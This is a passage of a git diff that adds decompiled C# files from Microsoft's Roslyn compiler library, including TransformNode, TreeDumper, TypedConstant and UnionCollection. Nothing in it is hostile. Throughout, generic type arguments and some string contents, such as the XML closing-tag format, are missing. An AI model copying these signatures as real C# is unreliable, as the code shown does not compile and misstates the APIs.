IIncrementalGeneratorNode _sourceNode; + + private readonly string? _name; + + public TransformNode(IIncrementalGeneratorNode sourceNode, Func userFunc, IEqualityComparer? comparer = null, string? name = null) + : this(sourceNode, (Func>)((TInput i, CancellationToken token) => ImmutableArray.Create(userFunc(i, token))), comparer, name) + { + } + + public TransformNode(IIncrementalGeneratorNode sourceNode, Func> userFunc, IEqualityComparer? comparer = null, string? name = null) + { + _sourceNode = sourceNode; + _func = userFunc; + _comparer = comparer ?? EqualityComparer.Default; + _name = name; + } + + public IIncrementalGeneratorNode WithComparer(IEqualityComparer comparer) + { + return new TransformNode(_sourceNode, _func, comparer, _name); + } + + public IIncrementalGeneratorNode WithTrackingName(string name) + { + return new TransformNode(_sourceNode, _func, _comparer, name); + } + + public NodeStateTable UpdateStateTable(DriverStateTable.Builder builder, NodeStateTable? previousTable, CancellationToken cancellationToken) + { + NodeStateTable latestStateTableForNode = builder.GetLatestStateTableForNode(_sourceNode); + if (latestStateTableForNode.IsCached && previousTable != null) + { + this.LogTables(_name, previousTable, previousTable, latestStateTableForNode); + if (builder.DriverState.TrackIncrementalSteps) + { + return previousTable.CreateCachedTableWithUpdatedSteps(latestStateTableForNode, _name, _comparer); + } + return previousTable; + } + int totalEntryItemCount = latestStateTableForNode.GetTotalEntryItemCount(); + NodeStateTable.Builder builder2 = builder.CreateTableBuilder(previousTable, _name, _comparer, totalEntryItemCount); + NodeStateTable.Enumerator enumerator = latestStateTableForNode.GetEnumerator(); + while (enumerator.MoveNext()) + { + NodeStateEntry current = enumerator.Current; + ImmutableArray<(IncrementalGeneratorRunStep, int)> stepInputs = (builder2.TrackIncrementalSteps ? ImmutableArray.Create((current.Step, current.OutputIndex)) : default(ImmutableArray<(IncrementalGeneratorRunStep, int)>)); + if (current.State == EntryState.Removed) + { + builder2.TryRemoveEntries(TimeSpan.Zero, stepInputs); + } + else if (current.State != EntryState.Cached || !builder2.TryUseCachedEntries(TimeSpan.Zero, stepInputs)) + { + SharedStopwatch sharedStopwatch = SharedStopwatch.StartNew(); + ImmutableArray immutableArray = _func(current.Item, cancellationToken); + if (current.State != EntryState.Modified || !builder2.TryModifyEntries(immutableArray, _comparer, sharedStopwatch.Elapsed, stepInputs, current.State)) + { + builder2.AddEntries(immutableArray, EntryState.Added, sharedStopwatch.Elapsed, stepInputs, current.State); + } + } + } + NodeStateTable nodeStateTable = builder2.ToImmutableAndFree(); + this.LogTables(_name, previousTable, nodeStateTable, latestStateTableForNode); + return nodeStateTable; + } + + public void RegisterOutput(IIncrementalGeneratorOutputNode output) + { + _sourceNode.RegisterOutput(output); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TreeDumper.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TreeDumper.cs new file mode 100644 index 0000000..425579c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TreeDumper.cs @@ -0,0 +1,178 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Reflection; +using System.Text; + +namespace Microsoft.CodeAnalysis; + +internal class TreeDumper +{ + private readonly StringBuilder _sb; + + protected TreeDumper() + { + _sb = new StringBuilder(); + } + + public static string DumpCompact(TreeDumperNode root) + { + return new TreeDumper().DoDumpCompact(root); + } + + protected string DoDumpCompact(TreeDumperNode root) + { + DoDumpCompact(root, string.Empty); + return _sb.ToString(); + } + + private void DoDumpCompact(TreeDumperNode node, string indent) + { + _sb.Append(node.Text); + if (node.Value != null) + { + _sb.AppendFormat(": {0}", DumperString(node.Value)); + } + _sb.AppendLine(); + List list = node.Children.Where((TreeDumperNode c) => !skip(c)).ToList(); + for (int num = 0; num < list.Count; num++) + { + TreeDumperNode node2 = list[num]; + _sb.Append(indent); + _sb.Append((num == list.Count - 1) ? '└' : '├'); + _sb.Append('─'); + DoDumpCompact(node2, indent + ((num == list.Count - 1) ? " " : "│ ")); + } + static bool skip(TreeDumperNode treeDumperNode) + { + if (treeDumperNode == null) + { + return true; + } + string text = treeDumperNode.Text; + bool flag = ((text == "locals" || text == "localFunctions") ? true : false); + if (flag && treeDumperNode.Value is IList { Count: 0 }) + { + return true; + } + switch (treeDumperNode.Text) + { + case "hasErrors": + case "isSuppressed": + case "isRef": + flag = true; + break; + default: + flag = false; + break; + } + if (flag) + { + object value = treeDumperNode.Value; + if (value is bool && !(bool)value) + { + return true; + } + } + if (treeDumperNode.Text == "functionType") + { + return true; + } + return false; + } + } + + public static string DumpXML(TreeDumperNode root, string? indent = null) + { + TreeDumper treeDumper = new TreeDumper(); + treeDumper.DoDumpXML(root, string.Empty, indent ?? string.Empty); + return treeDumper._sb.ToString(); + } + + private void DoDumpXML(TreeDumperNode node, string indent, string relativeIndent) + { + if (node.Children.All((TreeDumperNode child) => child == null)) + { + _sb.Append(indent); + if (node.Value != null) + { + _sb.AppendFormat("<{0}>{1}", node.Text, DumperString(node.Value)); + } + else + { + _sb.AppendFormat("<{0} />", node.Text); + } + _sb.AppendLine(); + return; + } + _sb.Append(indent); + _sb.AppendFormat("<{0}>", node.Text); + _sb.AppendLine(); + if (node.Value != null) + { + _sb.Append(indent); + _sb.AppendFormat("{0}", DumperString(node.Value)); + _sb.AppendLine(); + } + string indent2 = indent + relativeIndent; + foreach (TreeDumperNode child in node.Children) + { + if (child != null) + { + DoDumpXML(child, indent2, relativeIndent); + } + } + _sb.Append(indent); + _sb.AppendFormat("", node.Text); + _sb.AppendLine(); + } + + private static bool IsDefaultImmutableArray(object o) + { + System.Reflection.TypeInfo typeInfo = o.GetType().GetTypeInfo(); + if (typeInfo.IsGenericType && typeInfo.GetGenericTypeDefinition() == typeof(ImmutableArray<>)) + { + object obj = typeInfo?.GetDeclaredMethod("get_IsDefault")?.Invoke(o, Array.Empty()); + bool flag = default(bool); + int num; + if (obj is bool) + { + flag = (bool)obj; + num = 1; + } + else + { + num = 0; + } + return (byte)((uint)num & (flag ? 1u : 0u)) != 0; + } + return false; + } + + protected virtual string DumperString(object o) + { + if (o == null) + { + return "(null)"; + } + if (o is string result) + { + return result; + } + if (IsDefaultImmutableArray(o)) + { + return "(null)"; + } + if (o is IEnumerable source) + { + return string.Format("{{{0}}}", string.Join(", ", source.Cast().Select(DumperString).ToArray())); + } + if (o is ISymbol symbol) + { + return symbol.ToDisplayString(SymbolDisplayFormat.TestFormat); + } + return o.ToString() ?? ""; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TreeDumperNode.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TreeDumperNode.cs new file mode 100644 index 0000000..01b0fad --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TreeDumperNode.cs @@ -0,0 +1,44 @@ +using System.Collections.Generic; +using System.Linq; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class TreeDumperNode +{ + public object? Value { get; } + + public string Text { get; } + + public IEnumerable Children { get; } + + public TreeDumperNode? this[string child] => Children.FirstOrDefault((TreeDumperNode c) => c.Text == child); + + public TreeDumperNode(string text, object? value, IEnumerable? children) + { + Text = text; + Value = value; + Children = children ?? SpecializedCollections.EmptyEnumerable(); + } + + public TreeDumperNode(string text) + : this(text, null, null) + { + } + + public IEnumerable> PreorderTraversal() + { + Stack> stack = new Stack>(); + stack.Push(new KeyValuePair(null, this)); + while (stack.Count != 0) + { + KeyValuePair currentEdge = stack.Pop(); + yield return currentEdge; + TreeDumperNode value = currentEdge.Value; + foreach (TreeDumperNode item in value.Children.Where((TreeDumperNode x) => x != null).Reverse()) + { + stack.Push(new KeyValuePair(value, item)); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeAttributesExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeAttributesExtensions.cs new file mode 100644 index 0000000..5a83af5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeAttributesExtensions.cs @@ -0,0 +1,38 @@ +using System.Reflection; +using System.Runtime.InteropServices; + +namespace Microsoft.CodeAnalysis; + +internal static class TypeAttributesExtensions +{ + public static bool IsInterface(this TypeAttributes flags) + { + return (flags & TypeAttributes.ClassSemanticsMask) != 0; + } + + public static bool IsWindowsRuntime(this TypeAttributes flags) + { + return (flags & TypeAttributes.WindowsRuntime) != 0; + } + + public static bool IsPublic(this TypeAttributes flags) + { + return (flags & TypeAttributes.Public) != 0; + } + + public static bool IsSpecialName(this TypeAttributes flags) + { + return (flags & TypeAttributes.SpecialName) != 0; + } + + internal static CharSet ToCharSet(this TypeAttributes flags) + { + return (flags & TypeAttributes.StringFormatMask) switch + { + TypeAttributes.AutoClass => CharSet.Auto, + TypeAttributes.NotPublic => CharSet.Ansi, + TypeAttributes.UnicodeClass => CharSet.Unicode, + _ => (CharSet)0, + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeCompareKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeCompareKind.cs new file mode 100644 index 0000000..d790243 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeCompareKind.cs @@ -0,0 +1,22 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +[Flags] +internal enum TypeCompareKind +{ + ConsiderEverything = 0, + ConsiderEverything2 = 0, + IgnoreCustomModifiersAndArraySizesAndLowerBounds = 1, + IgnoreDynamic = 2, + IgnoreTupleNames = 4, + IgnoreDynamicAndTupleNames = 6, + IgnoreNullableModifiersForReferenceTypes = 8, + ObliviousNullableModifierMatchesAny = 0x10, + IgnoreNativeIntegers = 0x20, + FunctionPointerRefMatchesOutInRefReadonly = 0x40, + AllNullableIgnoreOptions = 0x18, + AllIgnoreOptions = 0x3F, + AllIgnoreOptionsForVB = 5, + CLRSignatureCompareOptions = 0x3E +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeInfo.cs new file mode 100644 index 0000000..efbc834 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeInfo.cs @@ -0,0 +1,49 @@ +using System; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public readonly struct TypeInfo : IEquatable +{ + internal static readonly TypeInfo None = new TypeInfo(null, null, default(NullabilityInfo), default(NullabilityInfo)); + + public ITypeSymbol? Type { get; } + + public NullabilityInfo Nullability { get; } + + public ITypeSymbol? ConvertedType { get; } + + public NullabilityInfo ConvertedNullability { get; } + + internal TypeInfo(ITypeSymbol? type, ITypeSymbol? convertedType, NullabilityInfo nullability, NullabilityInfo convertedNullability) + { + this = default(TypeInfo); + Type = type; + Nullability = nullability; + ConvertedType = convertedType; + ConvertedNullability = convertedNullability; + } + + public bool Equals(TypeInfo other) + { + if (object.Equals(Type, other.Type) && object.Equals(ConvertedType, other.ConvertedType) && Nullability.Equals(other.Nullability)) + { + return ConvertedNullability.Equals(other.ConvertedNullability); + } + return false; + } + + public override bool Equals(object? obj) + { + if (obj is TypeInfo) + { + return Equals((TypeInfo)obj); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(ConvertedType, Hash.Combine(Type, Hash.Combine(Nullability.GetHashCode(), ConvertedNullability.GetHashCode()))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeKind.cs new file mode 100644 index 0000000..0b6c0f7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeKind.cs @@ -0,0 +1,20 @@ +namespace Microsoft.CodeAnalysis; + +public enum TypeKind : byte +{ + Unknown = 0, + Array = 1, + Class = 2, + Delegate = 3, + Dynamic = 4, + Enum = 5, + Error = 6, + Interface = 7, + Module = 8, + Pointer = 9, + Struct = 10, + Structure = 10, + TypeParameter = 11, + Submission = 12, + FunctionPointer = 13 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeKindInternal.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeKindInternal.cs new file mode 100644 index 0000000..12f2689 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeKindInternal.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis; + +internal static class TypeKindInternal +{ + internal const TypeKind FunctionType = (TypeKind)255; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeLayout.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeLayout.cs new file mode 100644 index 0000000..67ba7ef --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeLayout.cs @@ -0,0 +1,53 @@ +using System; +using System.Runtime.InteropServices; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal readonly struct TypeLayout(LayoutKind kind, int size, byte alignment) : IEquatable +{ + private readonly byte _kind = (byte)(kind + 1); + + private readonly short _alignment = alignment; + + private readonly int _size = size; + + public LayoutKind Kind + { + get + { + if (_kind != 0) + { + return (LayoutKind)(_kind - 1); + } + return LayoutKind.Auto; + } + } + + public short Alignment => _alignment; + + public int Size => _size; + + public bool Equals(TypeLayout other) + { + if (_size == other._size && _alignment == other._alignment) + { + return _kind == other._kind; + } + return false; + } + + public override bool Equals(object? obj) + { + if (obj is TypeLayout) + { + return Equals((TypeLayout)obj); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(Hash.Combine(Size, Alignment), _kind); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeNameDecoder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeNameDecoder.cs new file mode 100644 index 0000000..b0757ed --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeNameDecoder.cs @@ -0,0 +1,187 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis; + +internal abstract class TypeNameDecoder where ModuleSymbol : class where TypeSymbol : class +{ + private readonly SymbolFactory _factory; + + protected readonly ModuleSymbol moduleSymbol; + + protected TypeSymbol SystemTypeSymbol => _factory.GetSystemTypeSymbol(moduleSymbol); + + internal TypeNameDecoder(SymbolFactory factory, ModuleSymbol moduleSymbol) + { + _factory = factory; + this.moduleSymbol = moduleSymbol; + } + + protected abstract bool IsContainingAssembly(AssemblyIdentity identity); + + protected abstract TypeSymbol LookupTopLevelTypeDefSymbol(ref MetadataTypeName emittedName, out bool isNoPiaLocalType); + + protected abstract TypeSymbol LookupTopLevelTypeDefSymbol(int referencedAssemblyIndex, ref MetadataTypeName emittedName); + + protected abstract TypeSymbol LookupNestedTypeDefSymbol(TypeSymbol container, ref MetadataTypeName emittedName); + + protected abstract int GetIndexOfReferencedAssembly(AssemblyIdentity identity); + + internal TypeSymbol GetTypeSymbolForSerializedType(string s) + { + if (string.IsNullOrEmpty(s)) + { + return GetUnsupportedMetadataTypeSymbol(); + } + MetadataHelpers.AssemblyQualifiedTypeName fullName = MetadataHelpers.DecodeTypeName(s); + bool refersToNoPiaLocalType; + return GetTypeSymbol(fullName, out refersToNoPiaLocalType); + } + + protected TypeSymbol GetUnsupportedMetadataTypeSymbol(BadImageFormatException exception = null) + { + return _factory.GetUnsupportedMetadataTypeSymbol(moduleSymbol, exception); + } + + protected TypeSymbol GetSZArrayTypeSymbol(TypeSymbol elementType, ImmutableArray> customModifiers) + { + return _factory.GetSZArrayTypeSymbol(moduleSymbol, elementType, customModifiers); + } + + protected TypeSymbol GetMDArrayTypeSymbol(int rank, TypeSymbol elementType, ImmutableArray> customModifiers, ImmutableArray sizes, ImmutableArray lowerBounds) + { + return _factory.GetMDArrayTypeSymbol(moduleSymbol, rank, elementType, customModifiers, sizes, lowerBounds); + } + + protected TypeSymbol MakePointerTypeSymbol(TypeSymbol type, ImmutableArray> customModifiers) + { + return _factory.MakePointerTypeSymbol(moduleSymbol, type, customModifiers); + } + + protected TypeSymbol MakeFunctionPointerTypeSymbol(CallingConvention callingConvention, ImmutableArray> retAndParamInfos) + { + return _factory.MakeFunctionPointerTypeSymbol(moduleSymbol, callingConvention, retAndParamInfos); + } + + protected TypeSymbol GetSpecialType(SpecialType specialType) + { + return _factory.GetSpecialType(moduleSymbol, specialType); + } + + protected TypeSymbol GetEnumUnderlyingType(TypeSymbol type) + { + return _factory.GetEnumUnderlyingType(moduleSymbol, type); + } + + protected PrimitiveTypeCode GetPrimitiveTypeCode(TypeSymbol type) + { + return _factory.GetPrimitiveTypeCode(moduleSymbol, type); + } + + protected TypeSymbol SubstituteWithUnboundIfGeneric(TypeSymbol type) + { + return _factory.MakeUnboundIfGeneric(moduleSymbol, type); + } + + protected TypeSymbol SubstituteTypeParameters(TypeSymbol genericType, ImmutableArray>>> arguments, ImmutableArray refersToNoPiaLocalType) + { + return _factory.SubstituteTypeParameters(moduleSymbol, genericType, arguments, refersToNoPiaLocalType); + } + + internal TypeSymbol GetTypeSymbol(MetadataHelpers.AssemblyQualifiedTypeName fullName, out bool refersToNoPiaLocalType) + { + int num; + if (fullName.AssemblyName != null) + { + if (!AssemblyIdentity.TryParseDisplayName(fullName.AssemblyName, out AssemblyIdentity identity)) + { + refersToNoPiaLocalType = false; + return GetUnsupportedMetadataTypeSymbol(); + } + num = GetIndexOfReferencedAssembly(identity); + if (num == -1 && !IsContainingAssembly(identity)) + { + refersToNoPiaLocalType = false; + return GetUnsupportedMetadataTypeSymbol(); + } + } + else + { + num = -1; + } + MetadataTypeName emittedName = MetadataTypeName.FromFullName(fullName.TopLevelType); + TypeSymbol val = LookupTopLevelTypeDefSymbol(ref emittedName, num, out refersToNoPiaLocalType); + if (fullName.NestedTypes != null) + { + if (refersToNoPiaLocalType) + { + refersToNoPiaLocalType = false; + return GetUnsupportedMetadataTypeSymbol(); + } + for (int i = 0; i < fullName.NestedTypes.Length; i++) + { + emittedName = MetadataTypeName.FromTypeName(fullName.NestedTypes[i]); + val = LookupNestedTypeDefSymbol(val, ref emittedName); + } + } + if (fullName.TypeArguments != null) + { + ImmutableArray refersToNoPiaLocalType2; + ImmutableArray>>> arguments = ResolveTypeArguments(fullName.TypeArguments, out refersToNoPiaLocalType2); + val = SubstituteTypeParameters(val, arguments, refersToNoPiaLocalType2); + ImmutableArray.Enumerator enumerator = refersToNoPiaLocalType2.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current) + { + refersToNoPiaLocalType = true; + break; + } + } + } + else + { + val = SubstituteWithUnboundIfGeneric(val); + } + for (int j = 0; j < fullName.PointerCount; j++) + { + val = MakePointerTypeSymbol(val, ImmutableArray>.Empty); + } + if (fullName.ArrayRanks != null) + { + int[] arrayRanks = fullName.ArrayRanks; + foreach (int num2 in arrayRanks) + { + val = ((num2 == 0) ? GetSZArrayTypeSymbol(val, default(ImmutableArray>)) : GetMDArrayTypeSymbol(num2, val, default(ImmutableArray>), ImmutableArray.Empty, default(ImmutableArray))); + } + } + return val; + } + + private ImmutableArray>>> ResolveTypeArguments(MetadataHelpers.AssemblyQualifiedTypeName[] arguments, out ImmutableArray refersToNoPiaLocalType) + { + int capacity = arguments.Length; + ArrayBuilder>>> instance = ArrayBuilder>>>.GetInstance(capacity); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(capacity); + foreach (MetadataHelpers.AssemblyQualifiedTypeName fullName in arguments) + { + instance.Add(new KeyValuePair>>(GetTypeSymbol(fullName, out var refersToNoPiaLocalType2), ImmutableArray>.Empty)); + instance2.Add(refersToNoPiaLocalType2); + } + refersToNoPiaLocalType = instance2.ToImmutableAndFree(); + return instance.ToImmutableAndFree(); + } + + private TypeSymbol LookupTopLevelTypeDefSymbol(ref MetadataTypeName emittedName, int referencedAssemblyIndex, out bool isNoPiaLocalType) + { + if (referencedAssemblyIndex >= 0) + { + isNoPiaLocalType = false; + return LookupTopLevelTypeDefSymbol(referencedAssemblyIndex, ref emittedName); + } + return LookupTopLevelTypeDefSymbol(ref emittedName, out isNoPiaLocalType); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeParameterKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeParameterKind.cs new file mode 100644 index 0000000..9fca456 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypeParameterKind.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis; + +public enum TypeParameterKind +{ + Type, + Method, + Cref +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypedConstant.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypedConstant.cs new file mode 100644 index 0000000..ce4b2d4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypedConstant.cs @@ -0,0 +1,160 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public readonly struct TypedConstant : IEquatable +{ + private readonly TypedConstantKind _kind; + + private readonly ITypeSymbolInternal? _type; + + private readonly object? _value; + + public TypedConstantKind Kind => _kind; + + public ITypeSymbol? Type => _type?.GetITypeSymbol(); + + internal ITypeSymbolInternal? TypeInternal => _type; + + public bool IsNull => _value == null; + + public object? Value + { + get + { + object valueInternal = ValueInternal; + if (valueInternal is ISymbolInternal symbolInternal) + { + return symbolInternal.GetISymbol(); + } + return valueInternal; + } + } + + internal object? ValueInternal + { + get + { + if (Kind == TypedConstantKind.Array) + { + throw new InvalidOperationException("TypedConstant is an array. Use Values property."); + } + return _value; + } + } + + public ImmutableArray Values + { + get + { + if (Kind != TypedConstantKind.Array) + { + throw new InvalidOperationException("TypedConstant is not an array. Use Value property."); + } + if (IsNull) + { + return default(ImmutableArray); + } + return (ImmutableArray)_value; + } + } + + internal TypedConstant(ITypeSymbolInternal? type, TypedConstantKind kind, object? value) + { + _kind = kind; + _type = type; + _value = value; + } + + internal TypedConstant(ITypeSymbolInternal type, ImmutableArray array) + : this(type, TypedConstantKind.Array, array.IsDefault ? null : ((object)array)) + { + } + + internal T? DecodeValue(SpecialType specialType) + { + TryDecodeValue(specialType, out var value); + return value; + } + + internal bool TryDecodeValue(SpecialType specialType, [MaybeNullWhen(false)] out T value) + { + if (_kind == TypedConstantKind.Error) + { + value = default(T); + return false; + } + if (_type.SpecialType == specialType || (_type.TypeKind == TypeKind.Enum && specialType == SpecialType.System_Enum)) + { + value = (T)_value; + return true; + } + value = default(T); + return false; + } + + internal static TypedConstantKind GetTypedConstantKind(ITypeSymbolInternal type, Compilation compilation) + { + switch (type.SpecialType) + { + case SpecialType.System_Object: + case SpecialType.System_Boolean: + case SpecialType.System_Char: + case SpecialType.System_SByte: + case SpecialType.System_Byte: + case SpecialType.System_Int16: + case SpecialType.System_UInt16: + case SpecialType.System_Int32: + case SpecialType.System_UInt32: + case SpecialType.System_Int64: + case SpecialType.System_UInt64: + case SpecialType.System_Single: + case SpecialType.System_Double: + case SpecialType.System_String: + return TypedConstantKind.Primitive; + default: + switch (type.TypeKind) + { + case TypeKind.Array: + return TypedConstantKind.Array; + case TypeKind.Enum: + return TypedConstantKind.Enum; + case TypeKind.Error: + return TypedConstantKind.Error; + default: + if (compilation != null && compilation.IsSystemTypeReference(type)) + { + return TypedConstantKind.Type; + } + return TypedConstantKind.Error; + } + } + } + + public override bool Equals(object? obj) + { + if (obj is TypedConstant) + { + return Equals((TypedConstant)obj); + } + return false; + } + + public bool Equals(TypedConstant other) + { + if (_kind == other._kind && object.Equals(_value, other._value)) + { + return object.Equals(_type, other._type); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(_value, Hash.Combine(_type, (int)Kind)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypedConstantKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypedConstantKind.cs new file mode 100644 index 0000000..b87d0bb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypedConstantKind.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis; + +public enum TypedConstantKind +{ + Error, + Primitive, + Enum, + Type, + Array +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypedConstantValue.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypedConstantValue.cs new file mode 100644 index 0000000..7331989 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/TypedConstantValue.cs @@ -0,0 +1,54 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +internal readonly struct TypedConstantValue : IEquatable +{ + private readonly object? _value; + + public bool IsNull => _value == null; + + public ImmutableArray Array + { + get + { + if (_value != null) + { + return (ImmutableArray)_value; + } + return default(ImmutableArray); + } + } + + public object? Object => _value; + + internal TypedConstantValue(object? value) + { + _value = value; + } + + internal TypedConstantValue(ImmutableArray array) + { + _value = (array.IsDefault ? null : ((object)array)); + } + + public override int GetHashCode() + { + return _value?.GetHashCode() ?? 0; + } + + public override bool Equals(object? obj) + { + if (obj is TypedConstantValue) + { + return Equals((TypedConstantValue)obj); + } + return false; + } + + public bool Equals(TypedConstantValue other) + { + return object.Equals(_value, other._value); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UnifiedAssembly.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UnifiedAssembly.cs new file mode 100644 index 0000000..16da709 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UnifiedAssembly.cs @@ -0,0 +1,10 @@ +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis; + +internal readonly struct UnifiedAssembly(TAssemblySymbol targetAssembly, AssemblyIdentity originalReference) where TAssemblySymbol : class, IAssemblySymbolInternal +{ + internal readonly AssemblyIdentity OriginalReference = originalReference; + + internal readonly TAssemblySymbol TargetAssembly = targetAssembly; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UnionCollection.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UnionCollection.cs new file mode 100644 index 0000000..bdac864 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UnionCollection.cs @@ -0,0 +1,107 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal class UnionCollection : ICollection, IEnumerable, IEnumerable +{ + private readonly ImmutableArray> _collections; + + private int _count = -1; + + public int Count + { + get + { + if (_count == -1) + { + _count = _collections.Sum((ICollection c) => c.Count); + } + return _count; + } + } + + public bool IsReadOnly => true; + + public static ICollection Create(ICollection coll1, ICollection coll2) + { + if (coll1.Count == 0) + { + return coll2; + } + if (coll2.Count == 0) + { + return coll1; + } + return new UnionCollection(ImmutableArray.Create>(coll1, coll2)); + } + + public static ICollection Create(ImmutableArray collections, Func> selector) + { + return collections.Length switch + { + 0 => SpecializedCollections.EmptyCollection(), + 1 => selector(collections[0]), + _ => new UnionCollection(ImmutableArray.CreateRange(collections, selector)), + }; + } + + private UnionCollection(ImmutableArray> collections) + { + _collections = collections; + } + + public void Add(T item) + { + throw new NotSupportedException(); + } + + public void Clear() + { + throw new NotSupportedException(); + } + + public bool Contains(T item) + { + ImmutableArray>.Enumerator enumerator = _collections.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.Contains(item)) + { + return true; + } + } + return false; + } + + public void CopyTo(T[] array, int arrayIndex) + { + int num = arrayIndex; + ImmutableArray>.Enumerator enumerator = _collections.GetEnumerator(); + while (enumerator.MoveNext()) + { + ICollection current = enumerator.Current; + current.CopyTo(array, num); + num += current.Count; + } + } + + public bool Remove(T item) + { + throw new NotSupportedException(); + } + + public IEnumerator GetEnumerator() + { + return _collections.SelectMany((ICollection c) => c).GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UnmanagedCallersOnlyAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UnmanagedCallersOnlyAttributeData.cs new file mode 100644 index 0000000..99cb58c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/UnmanagedCallersOnlyAttributeData.cs @@ -0,0 +1,45 @@ +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis; + +internal sealed class UnmanagedCallersOnlyAttributeData +{ + internal static readonly UnmanagedCallersOnlyAttributeData Uninitialized = new UnmanagedCallersOnlyAttributeData(ImmutableHashSet.Empty); + + internal 